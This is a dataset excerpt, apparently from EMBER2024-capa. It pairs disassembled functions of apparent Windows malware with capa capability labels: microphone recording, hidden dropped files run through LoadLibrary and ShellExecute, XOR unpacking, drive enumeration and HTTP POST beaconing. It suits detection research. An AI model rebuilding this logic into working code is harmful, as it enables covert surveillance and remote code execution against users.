joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408550
Capabilities:
Check if file exists

Disassembly:
push esi
push edi
push str.APPDATA
call fcn.00420d1e
add esp, 4
mov edi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408564
sub eax, edx
mov esi, eax
cmp byte [0x444a85], cl
jne 0x408583
call fcn.004060f0
mov byte [0x444a85], 1
mov eax, dword [0x444b3c]
mov eax, dword [eax + 0x90]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408591
sub eax, edx
lea ecx, [eax + esi + 0x10]
push ecx
call fcn.0041ff97
add esp, 4
cmp byte [0x444a85], 0
mov esi, eax
jne 0x4085be
call fcn.004060f0
mov byte [0x444a85], 1
mov edx, dword [0x444b3c]
mov eax, dword [edx + 0x90]
push eax
push edi
push 0x43c26c
push esi
call fcn.00420bd5
add esp, 0x10
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
pop edi
setne al
pop esi
ret

Function at 0x4085f0
Capabilities:
Check if file exists
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x13c
mov eax, dword [0x441480]
xor eax, esp
mov dword [esp + 0x138], eax
push ebx
push esi
push edi
call fcn.00401330
mov edi, eax
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40863a
push edi
call fcn.004232df
add esp, 4
push edi
call fcn.00401fe0
add esp, 4
push 6
push edi
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
mov eax, edi
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408640
sub eax, edx
add eax, 8
push eax
call fcn.0041ff97
add esp, 4
push edi
mov esi, eax
push str._s
push esi
mov dword [esp + 0x20], esi
call fcn.00420bd5
add esp, 0xc
lea eax, [esp + 0x18]
push eax
push esi
call fcn.00422c32
add esp, 8
mov dword [esp + 0x10], eax
test eax, eax
je 0x408755
cmp eax, 0xffffffff
je 0x408755
mov ebx, dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408698
sub eax, edx
mov edx, eax
lea eax, [esp + 0x3c]
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4086b0
sub eax, esi
lea ecx, [eax + edx + 8]
push ecx
call fcn.0041ff97
add esp, 4
lea edx, [esp + 0x3c]
push edx
push edi
mov esi, eax
push 0x43c26c
push esi
call fcn.00420bd5
lea eax, [esp + 0x4c]
push str..dll
push eax
call fcn.00422b30
add esp, 0x18
test eax, eax
je 0x4086f8
push esi
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
jmp 0x408721
lea ecx, [esp + 0x3c]
push str..exe
push ecx
call fcn.00422b30
add esp, 8
test eax, eax
je 0x408721
push 5
push 0
push 0x43c488
push esi
push str.open
push 0
call ebx
push esi
call fcn.00420c59
mov eax, dword [esp + 0x14]
add esp, 4
lea edx, [esp + 0x18]
push edx
push eax
call fcn.00422d59
add esp, 8
test eax, eax
je 0x408693
mov ecx, dword [esp + 0x10]
push ecx
call fcn.00422e87
mov esi, dword [esp + 0x18]
add esp, 4
push esi
call fcn.00420c59
add esp, 4
push edi
call fcn.00420c59
mov ecx, dword [esp + 0x148]
add esp, 4
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00420bc6
mov esp, ebp
pop ebp
ret
Function at 0x408930
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push 0
call fcn.00420e6f
push eax
call fcn.00420c64
add esp, 8
call fcn.00407350
call fcn.00407830
call fcn.004076e0
mov esi, dword [sym.imp.KERNEL32.DLL_CreateThread]
push 0
push 0
push 0
push 0x408780
push 0
push 0
call esi
cmp byte [0x444a87], 0
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
jne 0x40898d
lea ebx, [ebx]
push 0x32
call edi
cmp byte [0x444a87], 0
je 0x408980
call fcn.00407dc0
push 0
push 0
push 0
push 0x408340
push 0
push 0
call esi
call fcn.00408550
test al, al
je 0x4089b9
lea esp, [esp]
push 0x493e0
call edi
jmp 0x4089b0
call fcn.00406360
push 0
push 0
push 0
push 0x406940
push 0
push 0
call esi
push 0
push 0
push 0
push 0x406500
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4065c0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x406bf0
push 0
push 0
call esi
call fcn.004085f0
push 0
push 0
push 0
push 0x408ac0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x408db0
push 0
push 0
call esi
mov eax, dword [ebp + 8]
push 0
push 0
push eax
push 0x409c30
push 0
push 0
call esi
push 0
push 0
push 0
push 0x409c90
push 0
push 0
call esi
push 0
push 0
push 0
push 0x409ed0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x40a180
push 0
push 0
call esi
push 0
push 0
push 0
push 0x40a8b0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x40b2f0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x40c340
push 0
push 0
call esi
push 0
push 0
push 0
push 0x40cd20
push 0
push 0
call esi
push 0x493e0
call edi
jmp 0x408ab3

Function at 0x409e40
Capabilities:
Capture microphone audio

Disassembly:
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409e45
push esi
sub eax, edx
add eax, 0x20
push edi
push eax
call fcn.0041ff97
mov esi, dword [sym.imp.WINMM.dll_mciSendStringA]
add esp, 4
push 0
push 0
push 0
push str.open_new_type_waveaudio_alias_mic_buffer_6
mov edi, eax
call esi
push 0
push 0
push 0
push str.record_mic
call esi
push 0x7530
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0
push 0
push 0
push str.stop_mic
call esi
push ebx
push str.save_mic__s
push edi
call fcn.00420bd5
add esp, 0xc
push 0
push 0
push 0
push edi
call esi
push 0
push 0
push 0
push str.close_mic
call esi
push edi
call fcn.00420c59
add esp, 4
pop edi
pop esi
ret
Function at 0x40a740
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40a8a8
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a760
sub eax, edx
push eax
call fcn.0041ff97
mov esi, eax
mov eax, edi
add esp, 4
mov dword [ebp - 4], esi
lea ecx, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40a780
sub eax, ecx
push eax
call fcn.0041ff97
push eax
push esi
push 0
push 0
push edi
mov dword [ebp - 8], eax
call fcn.00423615
add esp, 0x18
call fcn.004015f0
cmp byte [0x444a85], 0
mov dword [ebp - 0xc], eax
jne 0x40a7be
call fcn.004060f0
mov byte [0x444a85], 1
mov eax, dword [0x444b3c]
mov eax, dword [eax + 0x94]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a7d0
sub eax, edx
mov ebx, eax
call fcn.00405f40
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a7e3
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a7f3
sub eax, esi
add eax, edx
lea ecx, [eax + ebx + 0x80]
push ecx
call fcn.0041ff97
add esp, 4
cmp byte [0x444a85], 0
mov esi, eax
jne 0x40a825
call fcn.004060f0
mov byte [0x444a85], 1
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov edx, dword [0x444b3c]
mov ebx, dword [edx + 0x94]
push eax
push ecx
call fcn.00405f40
push eax
push ebx
push str._s_comp_sext_s._s
push esi
call fcn.00420bd5
mov ebx, dword [ebp - 0xc]
push esi
mov edx, edi
mov ecx, ebx
call fcn.00404910
add esp, 0x1c
test eax, eax
jne 0x40a887
nop
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40a887
push 0x7530
call dword [sym.imp.KERNEL32.DLL_Sleep]
push esi
mov edx, edi
mov ecx, ebx
call fcn.00404910
add esp, 4
test eax, eax
je 0x40a860
mov edx, dword [ebp - 4]
push edx
call fcn.00420c59
mov eax, dword [ebp - 8]
push eax
call fcn.00420c59
push ebx
call fcn.00420c59
push esi
call fcn.00420c59
add esp, 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x420bc6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x441480]
jne 0x420bd0
repz ret
jmp fcn.00425d71

Function at 0x42d139
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x42d160
call fcn.00426e1d
mov dword [eax], esi
call fcn.00426e0a
push 0x16
pop esi
mov dword [eax], esi
call fcn.00426db8
mov eax, esi
jmp 0x42d1b5
test dword [ebp + 0xc], 0xfffffff9
jne 0x42d146
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x42d18d
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
call fcn.00426e30
pop ecx
call fcn.00426e0a
mov eax, dword [eax]
jmp 0x42d1b5
test al, 0x10
jne 0x42d1b3
test al, 1
je 0x42d1b3
test byte [ebp + 0xc], 2
je 0x42d1b3
call fcn.00426e1d
mov dword [eax], 5
call fcn.00426e0a
mov dword [eax], 0xd
jmp 0x42d184
xor eax, eax
pop esi
pop ebp
ret
Function at 0x433a01
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x441480]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00426e53
and dword [ebp - 0x14], 0
cmp dword [0x444984], 0
mov dword [ebp - 0x18], eax
jne 0x433ab4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x433b5c
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x433b5c
mov esi, dword [sym.imp.KERNEL32.DLL_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x444984], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x444988], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x44498c], eax
call edi
push eax
call esi
mov dword [0x444994], eax
test eax, eax
je 0x433ab4
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x444990], eax
mov eax, dword [0x444990]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.DLL_DecodePointer]
cmp eax, ecx
je 0x433b0d
cmp dword [0x444994], ecx
je 0x433b0d
push eax
call esi
push dword [0x444994]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x433b0d
test ebx, ebx
je 0x433b0d
call edi
test eax, eax
je 0x433b04
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x433b04
test byte [ebp - 8], 1
jne 0x433b0d
or dword [ebp + 0x10], 0x200000
jmp 0x433b40
mov eax, dword [0x444988]
cmp eax, dword [ebp - 0x18]
je 0x433b40
push eax
call esi
test eax, eax
je 0x433b40
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x433b40
mov eax, dword [0x44498c]
cmp eax, dword [ebp - 0x18]
je 0x433b40
push eax
call esi
test eax, eax
je 0x433b40
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x444984]
call esi
test eax, eax
je 0x433b5c
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x433b5e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00420bc6
leave
ret
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..rsrc
nop
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x8fa1b49
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f314
nop
nop
mov ecx, 0x4660488b
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x401000
Capabilities:
Check os version

Disassembly:
sub esp, 0xa0
mov eax, dword [0x4129e8]
xor eax, esp
mov dword [esp + 0x9c], eax
push 0x98
lea eax, [esp + 8]
push 0
push eax
call fcn.00403910
add esp, 0xc
lea ecx, [esp]
push ecx
mov dword [esp + 4], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x401053
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004038f9
add esp, 0xa0
ret
mov eax, dword [esp + 4]
cmp eax, 6
jne 0x4010e1
mov eax, dword [esp + 8]
test eax, eax
jne 0x40108c
cmp byte [esp + 0x9a], 1
setne al
lea eax, [eax + eax + 4]
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004038f9
add esp, 0xa0
ret
cmp eax, 1
jne 0x4010b7
xor eax, eax
cmp byte [esp + 0x9a], 1
setne al
lea eax, [eax + eax + 5]
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004038f9
add esp, 0xa0
ret
cmp eax, 2
jne 0x401131
xor eax, eax
cmp byte [esp + 0x9a], 1
setne al
add eax, 8
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004038f9
add esp, 0xa0
ret
cmp eax, 5
jne 0x401131
mov eax, dword [esp + 8]
cmp eax, 2
jne 0x401109
mov eax, 3
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004038f9
add esp, 0xa0
ret
cmp eax, 1
jne 0x401128
mov eax, 2
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004038f9
add esp, 0xa0
ret
test eax, eax
jne 0x401131
mov eax, 1
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004038f9
add esp, 0xa0
ret

Function at 0x401180
Capabilities:
Get disk information

Disassembly:
sub esp, 0x810
mov eax, dword [0x4129e8]
xor eax, esp
mov dword [esp + 0x80c], eax
push ebx
xor ebx, ebx
push 0x3ff
lea eax, [esp + 0x415]
push ebx
push eax
mov byte [esp + 0x41c], bl
call fcn.00403910
push 0x3ff
lea ecx, [esp + 0x21]
push ebx
push ecx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov byte [esp + 0x28], bl
call fcn.00403910
add esp, 0x18
push 0x400
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x14]
push edx
push 0x400
lea eax, [esp + 0x428]
push eax
push 0x40f214
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [esp + 0x810]
neg eax
sbb eax, eax
and eax, dword [esp + 4]
pop ebx
xor ecx, esp
call fcn.004038f9
add esp, 0x810
ret
Function at 0x401300
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x108
mov eax, dword [0x4129e8]
xor eax, esp
mov dword [esp + 0x104], eax
push 0x103
lea eax, [esp + 5]
push 0
push eax
mov byte [esp + 0xc], 0
call fcn.00403910
add esp, 0xc
push 0x104
lea ecx, [esp + 4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40135a
xor al, al
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.004038f9
add esp, 0x108
ret
mov cl, 0x5c
lea esp, [esp]
sub eax, 1
cmp byte [esp + eax], cl
jne 0x401360
mov byte [esp + eax + 1], 0
lea eax, [esp]
add eax, 0xffffffff
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x401373
mov edx, dword [str.rss.tmp]
mov ecx, dword [0x40f224]
push esi
mov dword [eax], edx
lea edx, [esp + 4]
push 0x40f21c
push edx
mov dword [eax + 4], ecx
call fcn.00403b3d
mov esi, eax
add esp, 8
test esi, esi
jne 0x4013bf
xor al, al
pop esi
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.004038f9
add esp, 0x108
ret
push ebp
push edi
push 2
push 0
push esi
call fcn.004041e2
push esi
call fcn.004040ed
push 0
push 0
push esi
mov edi, eax
call fcn.004041e2
lea ebp, [edi + 0x1a4]
push ebp
call fcn.00403e92
add esp, 0x20
test eax, eax
mov dword [0x413d20], eax
jne 0x40140f
pop edi
pop ebp
xor al, al
pop esi
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.004038f9
add esp, 0x108
ret
push edi
push 0
push eax
call fcn.00403910
mov eax, dword [0x413d20]
push esi
push 1
push edi
push eax
call fcn.00403e28
push esi
call fcn.004039fd
mov ecx, dword [0x413d20]
push ebp
push ecx
call fcn.00401150
mov ecx, dword [esp + 0x138]
add esp, 0x28
pop edi
pop ebp
pop esi
xor ecx, esp
mov al, 1
call fcn.004038f9
add esp, 0x108
ret
Function at 0x4019c0
Capabilities:
Connect to http server
Send data
Send http request

Disassembly:
sub esp, 8
mov eax, dword [0x4129e8]
xor eax, esp
mov dword [esp + 4], eax
mov eax, dword [esp + 0xc]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x20]
push edi
push 0xfa
mov dword [esp + 0x14], eax
call fcn.00403e92
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x401b23
push 0xfa
push 0
push ebx
call fcn.00403910
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebp, dword [esp + 0x28]
push eax
push ebp
push esi
push 0x413b20
push ebx
call fcn.00403b50
mov edi, dword [esp + 0x34]
add edi, 0x18
push edi
call fcn.00403e92
mov esi, eax
add esp, 0x18
test esi, esi
je 0x401b14
mov dword [esi], ebp
mov dword [esi + 4], edi
mov ecx, dword [0x413d24]
mov dword [esi + 8], ecx
mov edx, dword [0x413d28]
mov dword [esi + 0xc], edx
mov eax, dword [0x413d2c]
mov edx, dword [esp + 0x20]
mov dword [esi + 0x10], eax
mov ecx, dword [0x413d30]
mov eax, dword [esp + 0x10]
push edx
mov dword [esi + 0x14], ecx
push eax
lea ecx, [esi + 0x18]
push ecx
call fcn.00404300
movzx edx, byte [0x4129e0]
push edx
push edi
push esi
call fcn.00401980
mov eax, dword [str.___x_7__3_x59_]
mov ecx, dword [0x413d58]
add esp, 0x18
push 0
push 0
push 3
push 0
push 0
push 0x50
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov ebp, eax
test ebp, ebp
je 0x401b18
push 0
push 0x100
push 0
push 0
push str.HTTP_1.1
push ebx
push str.POST
push ebp
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
test eax, eax
mov dword [esp + 0x10], eax
je 0x401b18
push edi
push esi
push 0
push 0
push eax
call dword [sym.imp.WININET.dll_HttpSendRequestA]
cmp eax, 1
jne 0x401b18
push ebx
call fcn.00404267
push esi
call fcn.00404267
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
add esp, 8
push ebp
call esi
mov edx, dword [esp + 0x10]
push edx
call esi
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov ecx, dword [esp + 4]
xor ecx, esp
call fcn.004038f9
add esp, 8
ret
mov ebp, dword [esp + 0x10]
push ebx
call fcn.00404267
add esp, 4
jmp 0x401b2b
mov esi, dword [esp + 0x10]
mov ebp, dword [esp + 0x10]
test esi, esi
je 0x401b38
push esi
call fcn.00404267
add esp, 4
test ebp, ebp
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
je 0x401b45
push ebp
call esi
mov eax, dword [esp + 0x10]
test eax, eax
je 0x401b50
push eax
call esi
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
xor al, al
call fcn.004038f9
add esp, 8
ret
Function at 0x401b70
Capabilities:
Read data from internet
Receive data

Disassembly:
sub esp, 0x134
mov eax, dword [0x4129e8]
xor eax, esp
mov dword [esp + 0x130], eax
push esi
push 0x12b
lea eax, [esp + 0xd]
push 0
push eax
mov byte [esp + 0x14], 0
call fcn.00403910
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea ecx, [esp + 0xc]
push 0x413c20
push ecx
call fcn.00403b50
mov eax, dword [0x413d58]
add esp, 0xc
push 0
push 0x100
push 0
push 0
lea edx, [esp + 0x18]
push edx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
je 0x401c2b
mov edx, dword [0x4129dc]
mov eax, dword [0x413d5c]
push ebx
lea ecx, [esp + 8]
push ecx
push edx
push eax
push esi
mov dword [esp + 0x18], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
push esi
setne bl
call dword [sym.imp.WININET.dll_InternetCloseHandle]
test bl, bl
pop ebx
je 0x401c2b
cmp dword [esp + 4], 0
je 0x401c2b
mov al, 1
pop esi
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.004038f9
add esp, 0x134
ret
mov ecx, dword [esp + 0x134]
pop esi
xor ecx, esp
xor al, al
call fcn.004038f9
add esp, 0x134
ret

Function at 0x401c50
Capabilities:
Read data from internet
Receive data

Disassembly:
sub esp, 0x134
mov eax, dword [0x4129e8]
xor eax, esp
mov dword [esp + 0x130], eax
push ebp
mov ebp, dword [esp + 0x13c]
push edi
push 0x12b
lea eax, [esp + 0x11]
push 0
push eax
mov byte [esp + 0x18], 0
call fcn.00403910
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea ecx, [esp + 0x10]
push 0x413a20
push ecx
call fcn.00403b50
mov eax, dword [0x413d58]
add esp, 0xc
push 0
push 0x100
push 0
push 0
lea edx, [esp + 0x1c]
push edx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
je 0x401d1f
mov ecx, dword [0x4129dc]
mov edx, dword [0x413d5c]
push ecx
push 0
push edx
call fcn.00403910
mov ecx, dword [0x4129dc]
mov edx, dword [0x413d5c]
add esp, 0xc
lea eax, [esp + 8]
push eax
push ecx
push edx
push edi
mov dword [esp + 0x18], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401d07
mov eax, dword [esp + 8]
test eax, eax
jne 0x401d38
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [esp + 8]
test eax, eax
je 0x401d1f
push eax
call fcn.00404267
add esp, 4
pop edi
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.004038f9
add esp, 0x134
ret
push esi
push eax
call fcn.00403e92
mov ecx, dword [0x413d5c]
mov esi, eax
mov eax, dword [esp + 0x10]
push eax
push ecx
push esi
call fcn.00404300
movzx edx, byte [0x4129e0]
mov eax, dword [esp + 0x1c]
push edx
push eax
push esi
call fcn.00401980
mov ecx, dword [esp + 0x28]
add esp, 0x1c
push edi
mov dword [ebp], ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
call fcn.00401b70
mov ecx, dword [esp + 0x13c]
mov eax, esi
pop esi
pop edi
pop ebp
xor ecx, esp
call fcn.004038f9
add esp, 0x134
ret